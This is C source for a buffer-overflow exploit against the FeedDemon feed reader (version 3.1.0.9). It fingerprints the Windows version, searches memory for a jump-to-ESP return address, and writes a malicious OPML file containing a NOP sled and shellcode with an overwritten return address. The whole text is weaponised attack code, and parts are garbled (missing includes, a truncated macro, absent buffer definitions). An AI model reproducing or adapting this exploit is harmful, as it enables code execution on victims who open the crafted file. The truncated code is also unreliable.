/*Download latest vuln app :http://www.newsgator.com/Individuals/FeedDemon/Default.aspx This exploit identifies your OS and searches in memory for a RETCODE thus working 100%.*/ #include #include #include #include void banner(); void exploit(char*); void print(char*); unsigned int getFsize(FILE*,char*); int cpy(char*,char*); void gen_random(char*,const int); DWORD FindRetToEspAddress(VOID); DWORD SearchStream(const char*,size_t,const char*,size_t); DWORD GetNtosDelta (VOID); DWORD GetOSVersion (VOID); #define VULNF "test.opml" #define VER "3.1.0.9" #define POCNAME "feedDemon opml file buffer overflow exploit" #define AUTHOR "fl0 fl0w" #define IF(x,NULL) if(x==NULL) #define FOR(i,a,b) for(i=a;i2) // while(c=getopt()!=EOF) ...... // else // os(ret); banner(); exploit(VULNF); GetNtosDelta(); printf("[!]Your Retcode is: 0x%X\n",eip); print("Done!"); printf("File is : %d bytes",x); // printf("%d",strlen(shellcode)); getchar(); return 0; } void exploit(char* fname){ FILE* f=fopen(fname,"wb"); if(f) { memset(buffer,0x90,NOPS); eip=FindRetToEspAddress(); memcpy(shellcode+EIPOFFSET,&eip,4); fwrite(header,sizeof(char),84,f); fwrite(buffer,sizeof(char),NOPS,f); fwrite(shellcode,sizeof(char),204,f); fwrite(tail,sizeof(char),216,f); fclose(f); free(buffer); } else {print("error writing file"); exit(0);} x=getFsize(f,VULNF); } void banner(){printf("[*]%s\n[*]Ver %s\n[*]Author %s\n",POCNAME,VER,AUTHOR); } void gen_random(char *s, const int len) { int i; //helps u find the offsets static const char alphanum[] ="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; FOR(i,0,len) { s[i]=alphanum[rand()%(sizeof(alphanum)-1)]; } s[len]=0; } unsigned int getFsize(FILE* g,char* gname) { unsigned int s; g=fopen(gname,"rb"); IF(g,NULL) { print("File error at reading"); exit(0); } fseek(g,0,SEEK_END); s=ftell(g); return s; } int cpy(char* source,char* dest) { int len; len=strlen(source); memcpy(dest,&source,len+1); return len; } void print(char* msg) { printf("[*]%s\n",msg); } DWORD GetOSVersion (VOID) { OSVERSIONINFOA osvi; DWORD retval = 0; osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA); if ( GetVersionExA(&osvi) ) { if (osvi.dwMajorVersion == 5) { switch(osvi.dwMinorVersion) { case 0: retval = OS_W2K; break; case 1: retval = OS_WXP; break; case 2: retval = OS_W2K3; break; } } else if (osvi.dwMajorVersion == 6) { retval = OS_VISTA; } } g_dwOsVersion = retval; return retval; } DWORD GetNtosDelta (VOID) { DWORD retval = 0; switch(GetOSVersion()) { case OS_VISTA: print("System identified as Windows Vista\n"); retval = WVISTA_DELTA; break; case OS_W2K: print("System identified as Windows 2000\n"); retval = W2K_DELTA; break; case OS_W2K3: print("System identified as Windows 2003\n"); retval = W2K3_DELTA; break; case OS_WXP: print("System identified as Windows XP\n"); retval = WXP_DELTA; break; default: print("Unidentified system!\n"); } return retval; } DWORD SearchStream( const char *pvStream, size_t uStreamSize, const char *pvSubStream, size_t uSubStreamSize ) { unsigned int uCount = 0,i,j; while( (uStreamSize) > (uCount) ) { for(i=0;i<=(uSubStreamSize-1);i++) { if(*pvStream != pvSubStream[i]) { *pvStream++; if( i>0 ) { for(j=0;je_lfanew); dwEspRet = SearchStream((char*)hModule,pimage_nt_headers->OptionalHeader.SizeOfImage,pszCallEsp,sizeof(WORD)); return (dwEspRet += (DWORD)hModule); }